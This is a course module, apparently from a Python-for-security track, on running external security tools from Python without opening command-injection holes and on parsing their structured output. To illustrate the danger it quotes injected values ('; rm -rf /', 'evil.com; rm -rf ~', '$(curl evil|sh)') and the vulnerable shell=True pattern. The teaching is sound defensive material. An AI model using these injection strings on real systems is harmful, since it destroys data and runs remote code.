Skip to content

Module 05 — Driving Tools Safely

Type 9 · Tool-Build — wrap external tools (nmap, VirusTotal, MISP) from sift without opening a command-injection hole, and parse their output robustly. (Secondary: Type 14 · Adversarial Review — catch the copilot's shell=True.) Go to the hands-on lab →  ·  Cheat sheet →

Last reviewed: 2026-08

Python for Securitythe copilot's favourite way to run a tool — shell=True — is also the fastest way to hand an attacker your shell.

In 60 seconds

Security tools drive other tools: sift needs to shell out to nmap, a VirusTotal CLI, pymisp. The copilot's reflex is subprocess.run(f"nmap {target}", shell=True) — and the moment target is attacker-influenced (and in a triage tool, it is — it came from an alert), ; rm -rf / or $(curl evil|sh) runs on your box. This module builds the safe pattern into sift: shell=False with an argument list, never string interpolation; validate/allowlist what you pass; and parse structured tool output instead of scraping text. You'll also do an adversarial-review beat — catch a planted shell=True injection in copilot-generated code.

Why this matters

OS command injection is one of the oldest, most reliable, most damaging bug classes there is, and Python makes it a one-character mistake: shell=True. That flag tells subprocess to hand your string to /bin/sh, which happily interprets ;, |, $(), and backticks. In a triage tool the danger is acute because the input isn't yours — the hostname, URL, or hash you're about to scan came from an alert an attacker may have shaped. A single subprocess.run(f"whois {domain}", shell=True) where domain is evil.com; rm -rf ~ is remote code execution in your SOC tooling.

flowchart LR
    IN["indicator from an alert<br/>evil.com; rm -rf ~"] --> Q{"how sift runs the tool"}
    Q -->|"shell=True — f-string → /bin/sh ❌"| SH["/bin/sh interprets<br/>; | $() backticks"] --> RCE["injected command runs<br/>RCE in your SOC"]
    Q -->|"shell=False — argument list ✓"| EX["execve gets one literal arg"] --> INERT["treated as data:<br/>a malformed hostname, rejected"]

This is CWE-78, OS command injection — one of the oldest, most reliable, most damaging bug classes there is, and it's everywhere in the wild: Python libraries and apps have shipped real, CVE-tracked holes from exactly this pattern (see CVE-2021-21300 below). And it's especially an AI-review problem: the copilot's default for "run a tool" is shell=True, because it's the shortest way to make a command work in a demo — so it regenerates this exact hole constantly. Catching it on sight is a core competency of "you review → you own it."

The core idea

shell=False with a list is the whole defense. subprocess.run(["nmap", "-sV", target]) passes target as a single argument directly to execve — no shell, no metacharacter interpretation, so target = "x; rm -rf /" is just a (malformed) hostname nmap rejects, not a command. shell=False is the default; the fix is often deleting shell=True and turning the f-string into a list. When you genuinely must build a command string, shlex.quote() escapes it — but the list form is better because it removes the shell entirely.

shell=True (the copilot default) shell=False + argument list
How args reach the tool one string → /bin/sh re-parses it list → execve, no shell in between
; \| $() backticks interpreted as shell syntax inert literal characters
Attacker-shaped input command injection / RCE a malformed argument the tool rejects
"But I need a pipe / glob" reach for the shell wire stdoutstdin in Python; Path.glob
Review verdict guilty until proven otherwise the bar

Validate before you shell out. Defense in depth: even with shell=False, pass tools validated input. Reuse Module 02's discipline — an indicator that's supposed to be a domain should be validated as one (allowlist the character set, reject the weird) before it's handed to any external process. A tool that only ever receives well-formed arguments has a smaller attack surface than one that trusts the alert.

Parse structured output, don't scrape text. The other half of driving a tool well: nmap -oX, vt's JSON, pymisp's objects give you structured output — parse that, not the human-readable text that changes format between versions and breaks your regex. Robust parsing is what makes the wrapper reliable enough for the CLI and API surfaces you add in Module 06.

flowchart LR
    T["driven tool<br/>suricata -r pcap → eve.json"] --> P{"typed parse<br/>pydantic union keyed on event_type"}
    P -->|known shape| M["typed event<br/>alert · flow · dns · http · tls"]
    P -->|unexpected line| Q["quarantine<br/>never fatal, never trusted"]

This is exactly why sift drives Suricata: point it at a pcap and it emits EVE JSON (eve.json) — newline-delimited, one event per line, keyed by event_type. That's a real dissector's structured output: the alert's signature/severity, the flow's five-tuple, the dns/http/tls fields, all typed, all machine-readable — the payoff of the parse-don't-scrape rule you built in Module 02. You run Suricata (suricata -r infection.pcap) the same way you run nmap: a shell=False argument list over an input path you control, then feed the resulting eve.json through the pydantic union sift already speaks. tshark -T ek / -T json is the same move for a second dissector — drive it safely, parse its JSON, reconcile the two views. Indicators to enrich (src_ip, dest_ip, dns.rrname, tls.sni) come from those real EVE fields, not a hand-invented schema.

When you think you need shell=True — pipes, globs, redirection

Those are the usual excuses, and they're avoidable. A pipeline is two subprocess calls wired via stdout/stdin in Python (you keep control and error handling). Globbing is pathlib.Path.glob. Redirection is the stdout=/stderr= arguments. Reaching for shell=True to get shell features is almost always a sign the work belongs in Python, where it's both safer and more testable.

Go deeper (~2 hrs · optional)

The core idea above teaches the whole defense — shell=False + list, validate the input, parse structured output — and you can do the lab from it. These links go deeper on the subprocess security model and the anchor CVE; pull them when a step doesn't click, not as required reading.

The safe subprocess pattern

Why it matters (the anchor)

Driving real tools

Key concepts

  • shell=True + untrusted input = command injection — the copilot's default, and a real CVE class.
  • shell=False with an argument list passes args straight to execve — no shell to inject into.
  • shlex.quote for the rare must-build-a-string case; the list form is still better.
  • Validate/allowlist args before shelling out — reuse Module 02's boundary discipline.
  • Parse structured output (-oX, JSON, Suricata EVE JSON) — don't regex human-readable text.
  • Driving a dissectorsuricata -r <pcap>eve.json, tshark -T ek → JSON: same safe argument-list pattern, feeding sift's pydantic union. Indicators derive from real EVE fields.
  • Many sensors, one truth (stretch) — the same incident, three schemas: Suricata EVE JSON (opinionated alerts), Zeek native TSV (#fields header, descriptive facts), and Sysmon EVTX (binary → XML EventData, the host side — which process opened a connection). A source-agnostic domain model normalizes all three — the real payoff of "parse, don't trust," and the join from a network IOC to the process behind it.

AI acceleration

This module has an explicit adversarial-review beat: you're handed copilot-generated tool wrappers with a planted shell=True injection, and your job is to find it, say how you knew (the f-string into shell=True), and fix it to the list form. Then, going forward, treat every subprocess call the copilot writes as guilty until proven shell=False — it's the single highest-value review reflex in this track.

Check yourself

  • Exactly why is subprocess.run(["whois", domain]) safe where subprocess.run(f"whois {domain}", shell=True) is not, when domain is attacker-controlled?
  • You "need a pipe" between two tools — how do you do it without shell=True?
  • What's the tell that lets you spot command injection in a code review in under five seconds?

Comments

Sign in with GitHub to comment. Choose the type: Feedback (errors or suggestions on this page) · Hints (help for fellow learners — no spoilers) · General (anything else).